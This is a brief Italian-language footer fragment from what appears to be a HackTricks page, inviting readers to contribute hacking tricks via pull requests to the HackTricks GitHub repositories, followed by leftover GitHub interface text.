* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
Reference in a new issue View git blame Copy permalink